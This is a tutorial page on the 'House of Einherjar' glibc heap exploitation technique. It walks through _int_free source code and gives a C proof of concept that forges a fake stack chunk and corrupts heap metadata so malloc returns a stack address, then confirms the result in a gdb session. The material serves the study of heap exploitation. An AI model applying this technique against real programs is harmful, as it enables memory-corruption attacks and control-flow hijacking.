Excuse the ads! We need some help to keep our site up.
List
House of einherjar
- House of einherjar is a technique that exploits the process of _int_free () registering chunks with top chunks.
_int_free () checks if the pointer passed is a chunk to be included in fastbin.
And if the chunk is not fastbin, check if it is a chunk obtained by mmap().
- And if the chunk is not the chunk obtained by mmap(), then make sure the arena is locked.
- If Arena is not locked, lock it.
- _int_free () checks whether the passed pointer and the arena top have the same value.
- It then checks whether the next chunk is beyond the bounds of the arena and whether the next chunk is not actually used.
- Then check if the chunk size is smaller than the minimum size and larger than the value of Arena's system_mem.
- This verifies that the size of the next chunk is normal.
_int_free () checks to see if the chunk's "size" has the PREV_INUSE flag set.
- If the bit of the flag is set, the "size" of the chunk plus "prev_size" is stored in the "size" variable.
- Then call chunk_at_offset () to return a pointer minus prev_size from that chunk's pointer, which is stored in the variable p.
- Then call unlink () to remove the chunk from the empty list.
- And _int_free () checks if the next chunk is the top chunk.
- If the next chunk is a top chunk, the size of the next chunk is added to the size variable.
- Set the PREV_INUSE flag to the value of the variable.
- Then pass the variable size and the variable p to set_head () to set the chunk's header.
- And store the variable p on top of arena.
malloc.c
/* Consolidate other non-mmapped chunks as they arrive. */ else if (!chunk_is_mmapped(p)) { if (! have_lock) { __libc_lock_lock (av->mutex); locked = 1; } nextchunk = chunk_at_offset(p, size); /* Lightweight tests: check whether the block is already the top block. */ if (__glibc_unlikely (p == av->top)) { errstr = "double free or corruption (top)"; goto errout; } /* Or whether the next chunk is beyond the boundaries of the arena. */ if (__builtin_expect (contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)), 0)) { errstr = "double free or corruption (out)"; goto errout; } /* Or whether the block is actually not marked used. */ if (__glibc_unlikely (!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout; } nextsize = chunksize(nextchunk); if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0) || __builtin_expect (nextsize >= av->system_mem, 0)) { errstr = "free(): invalid next size (normal)"; goto errout; } free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk != av->top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ bck = unsorted_chunks(av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) { errstr = "free(): corrupted unsorted chunks"; goto errout; } p->fd = fwd; p->bk = bck; if (!in_smallbin_range(size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } bck->fd = p; fwd->bk = p; set_head(p, size | PREV_INUSE); set_foot(p, size); check_free_chunk(av, p); } /* If the chunk borders the current high end of memory, consolidate into top */ else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; check_chunk(av, p); }
- House of einherjar can be implemented if you can write fake chunks in memory and change the headers of in-use chunks.
Write a fake free chunk on the stack and allocate 2 memory of size not corresponding to fast bins.
- Change the values of the header of the chunk that was allocated last.
- Remove the PREV_INUSE flag from the value of size.
- Save the chunk's header address minus the address of the chunk to "prev_size".
- Fake chunks should have the following values.
- Store the same size in "prev_size" as the last chunk allocated.
- Save the subtracted address of the chunk header from the last allocated chunk to "size" and save the address of the fake chunk to fd, bk.
- When the last chunk is released, the fake chunk's address is stored at arena->top.
- Requesting memory allocation returns a pointer to the area of the fake chunk.
- For example, allocate memory of size 0x70, 0xf0 and write a fake chunk on the stack.
- Store 0x100 in the fake chunk's prev_size, and save it in "size" after subtracting the fake chunk's address(0x7fffffffe430) from the chunk's address(0x602080).
- Remove the PREV_INUSE flag from the value of the chunk's size to free and save the value of the fake chunk's size to prev_size.
- And when free that chunk, the fake chunk becomes a Top chunk.
- And when request memory allocation, you are allocated a realm of fake chunk.
House of einherjar flow
Example
- The code is the code described in the previous example.
- Create a fake chunk on the stack and request an allocation of memory of size 0x70, 0xf0.
- Change the value of the header of the chunk that was allocated last, and release the chunk.
- Request a new memory allocation and save the data in that area.
house_of_einherjar.c
#include <stdio.h> #include <malloc.h> #include <unistd.h> int main() { unsigned long fake_chunk[6]; fprintf(stderr,"fake_chunk : %p\n", fake_chunk); fake_chunk[0] = 0x100; fake_chunk[2] = (unsigned long)fake_chunk; fake_chunk[3] = (unsigned long)fake_chunk; fake_chunk[4] = (unsigned long)fake_chunk; fake_chunk[5] = (unsigned long)fake_chunk; unsigned long *buf1 = malloc(0x70); unsigned long *buf2 = malloc(0xf0); fake_chunk[1] = (char*)(buf2 - 2) - (char*)fake_chunk; *(buf2 - 2) = (char*)(buf2 - 2) - (char*)fake_chunk; *(buf2 - 1) = 0x100; free(buf2); char *buf4 = malloc(0x200); read(STDIN_FILENO,buf4, 0x200); }
- Fake chunks and the value of the header of the chunk to be released are checks at 0x4007a7.
- Also, check the top chunk changes before and after the chunk is freed.
- Check at 0x4007cb that the allocated area is available.
Breakpoints
lazenca0x0@ubuntu:~$ gdb -q ./house_of_einherjar Reading symbols from ./house_of_einherjar...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x00000000004006a6 <+0>: push rbp 0x00000000004006a7 <+1>: mov rbp,rsp 0x00000000004006aa <+4>: sub rsp,0x60 0x00000000004006ae <+8>: mov rax,QWORD PTR fs:0x28 0x00000000004006b7 <+17>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006bb <+21>: xor eax,eax 0x00000000004006bd <+23>: mov rax,QWORD PTR [rip+0x20099c] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004006c4 <+30>: lea rdx,[rbp-0x40] 0x00000000004006c8 <+34>: mov esi,0x400874 0x00000000004006cd <+39>: mov rdi,rax 0x00000000004006d0 <+42>: mov eax,0x0 0x00000000004006d5 <+47>: call 0x400580 <fprintf@plt> 0x00000000004006da <+52>: mov QWORD PTR [rbp-0x40],0x100 0x00000000004006e2 <+60>: lea rax,[rbp-0x40] 0x00000000004006e6 <+64>: mov QWORD PTR [rbp-0x30],rax 0x00000000004006ea <+68>: lea rax,[rbp-0x40] 0x00000000004006ee <+72>: mov QWORD PTR [rbp-0x28],rax 0x00000000004006f2 <+76>: lea rax,[rbp-0x40] 0x00000000004006f6 <+80>: mov QWORD PTR [rbp-0x20],rax 0x00000000004006fa <+84>: lea rax,[rbp-0x40] 0x00000000004006fe <+88>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400702 <+92>: mov edi,0x70 0x0000000000400707 <+97>: call 0x400590 <malloc@plt> 0x000000000040070c <+102>: mov QWORD PTR [rbp-0x58],rax 0x0000000000400710 <+106>: mov edi,0xf0 0x0000000000400715 <+111>: call 0x400590 <malloc@plt> 0x000000000040071a <+116>: mov QWORD PTR [rbp-0x50],rax 0x000000000040071e <+120>: mov rax,QWORD PTR [rip+0x20093b] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400725 <+127>: mov rdx,QWORD PTR [rbp-0x58] 0x0000000000400729 <+131>: mov esi,0x400885 0x000000000040072e <+136>: mov rdi,rax 0x0000000000400731 <+139>: mov eax,0x0 0x0000000000400736 <+144>: call 0x400580 <fprintf@plt> 0x000000000040073b <+149>: mov rax,QWORD PTR [rip+0x20091e] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400742 <+156>: mov rdx,QWORD PTR [rbp-0x50] 0x0000000000400746 <+160>: mov esi,0x400890 0x000000000040074b <+165>: mov rdi,rax 0x000000000040074e <+168>: mov eax,0x0 0x0000000000400753 <+173>: call 0x400580 <fprintf@plt> 0x0000000000400758 <+178>: mov rax,QWORD PTR [rbp-0x50] 0x000000000040075c <+182>: sub rax,0x10 0x0000000000400760 <+186>: mov rdx,rax 0x0000000000400763 <+189>: lea rax,[rbp-0x40] 0x0000000000400767 <+193>: sub rdx,rax 0x000000000040076a <+196>: mov rax,rdx 0x000000000040076d <+199>: mov QWORD PTR [rbp-0x38],rax 0x0000000000400771 <+203>: mov rax,QWORD PTR [rbp-0x50] 0x0000000000400775 <+207>: sub rax,0x10 0x0000000000400779 <+211>: mov rdx,QWORD PTR [rbp-0x50] 0x000000000040077d <+215>: sub rdx,0x10 0x0000000000400781 <+219>: mov rcx,rdx 0x0000000000400784 <+222>: lea rdx,[rbp-0x40] 0x0000000000400788 <+226>: sub rcx,rdx 0x000000000040078b <+229>: mov rdx,rcx 0x000000000040078e <+232>: mov QWORD PTR [rax],rdx 0x0000000000400791 <+235>: mov rax,QWORD PTR [rbp-0x50] 0x0000000000400795 <+239>: sub rax,0x8 0x0000000000400799 <+243>: mov QWORD PTR [rax],0x100 0x00000000004007a0 <+250>: mov rax,QWORD PTR [rbp-0x50] 0x00000000004007a4 <+254>: mov rdi,rax 0x00000000004007a7 <+257>: call 0x400540 <free@plt> 0x00000000004007ac <+262>: mov edi,0x200 0x00000000004007b1 <+267>: call 0x400590 <malloc@plt> 0x00000000004007b6 <+272>: mov QWORD PTR [rbp-0x48],rax 0x00000000004007ba <+276>: mov rax,QWORD PTR [rbp-0x48] 0x00000000004007be <+280>: mov edx,0x200 0x00000000004007c3 <+285>: mov rsi,rax 0x00000000004007c6 <+288>: mov edi,0x0 0x00000000004007cb <+293>: call 0x400560 <read@plt> 0x00000000004007d0 <+298>: mov eax,0x0 0x00000000004007d5 <+303>: mov rsi,QWORD PTR [rbp-0x8] 0x00000000004007d9 <+307>: xor rsi,QWORD PTR fs:0x28 0x00000000004007e2 <+316>: je 0x4007e9 <main+323> 0x00000000004007e4 <+318>: call 0x400550 <__stack_chk_fail@plt> 0x00000000004007e9 <+323>: leave 0x00000000004007ea <+324>: ret End of assembler dump. gdb-peda$ b *0x00000000004007a7 Breakpoint 1 at 0x4007a7 gdb-peda$ b *0x00000000004007cb Breakpoint 2 at 0x4007cb gdb-peda$
- The address of the chunk to free is 0x602090.
The PREV_INUSE flag has been removed from the chunk's "size" value.
The value of prev_size is 0xffff800000603c50, which is the header address (0x602080) of the chunk to be released minus the address of the fake chunk (0x7fffffffe430).
- The value of prev_size of the fake chunk is 0x100, and the value of size is the same as the value of the prev_size of the chunk to be freed.
- Before free() was called, the top chunk was 0x602180, and after the call, 0x7fffffffe430 became the top chunk.
Place fake chunks in top chunks
gdb-peda$ r Starting program: /home/lazenca0x0/house_of_einherjar fake_chunk : 0x7fffffffe430 buf1 : 0x602010 buf2 : 0x602090 Breakpoint 1, 0x00000000004007a7 in main () gdb-peda$ x/i $rip => 0x4007a7 <main+257>: call 0x400540 <free@plt> gdb-peda$ i r rdi rdi 0x602090 0x602090 gdb-peda$ x/4gx 0x602090 - 0x10 0x602080: 0xffff800000603c50 0x0000000000000100 0x602090: 0x0000000000000000 0x0000000000000000 gdb-peda$ p/x 0x602080 - 0xffff800000603c50 $1 = 0x7fffffffe430 gdb-peda$ x/4gx 0x7fffffffe430 0x7fffffffe430: 0x0000000000000100 0xffff800000603c50 0x7fffffffe440: 0x00007fffffffe430 0x00007fffffffe430 gdb-peda$ p main_arena.top $2 = (mchunkptr) 0x602180 gdb-peda$ ni 0x00000000004007ac in main () gdb-peda$ p main_arena.top $3 = (mchunkptr) 0x7fffffffe430 gdb-peda$ x/4gx 0x7fffffffe430 0x7fffffffe430: 0x0000000000000100 0xffff800000624bd1 0x7fffffffe440: 0x00007fffffffe430 0x00007fffffffe430 gdb-peda$
- When the allocator receives a request to allocate memory, it allocates an area of the fake chunk and returns a pointer (0x7fffffffe440).
- Enter 16 characters 'A' in the area, the entered values will be saved normally.
- In this example, you entered a small number of characters, but you can enter more values, which can also change the flow of the program.
Stored 'A'*16 in fake chunks.
gdb-peda$ ni 0x00000000004007b1 in main () gdb-peda$ x/i $rip => 0x4007b1 <main+267>: call 0x400590 <malloc@plt> gdb-peda$ ni 0x00000000004007b6 in main () gdb-peda$ i r rax rax 0x7fffffffe440 0x7fffffffe440 gdb-peda$ x/4gx 0x7fffffffe440 0x7fffffffe440: 0x00007fffffffe430 0x00007fffffffe430 0x7fffffffe450: 0x00007fffffffe430 0x00007fffffffe430 gdb-peda$ c Continuing. Breakpoint 2, 0x00000000004007cb in main () gdb-peda$ x/i $rip => 0x4007cb <main+293>: call 0x400560 <read@plt> gdb-peda$ i r rsi rsi 0x7fffffffe440 0x7fffffffe440 gdb-peda$ ni AAAAAAAAAAAAAAAA 0x00000000004007d0 in main () gdb-peda$ x/4gx 0x7fffffffe440 0x7fffffffe440: 0x4141414141414141 0x4141414141414141 0x7fffffffe450: 0x00007fffffffe40a 0x00007fffffffe430 gdb-peda$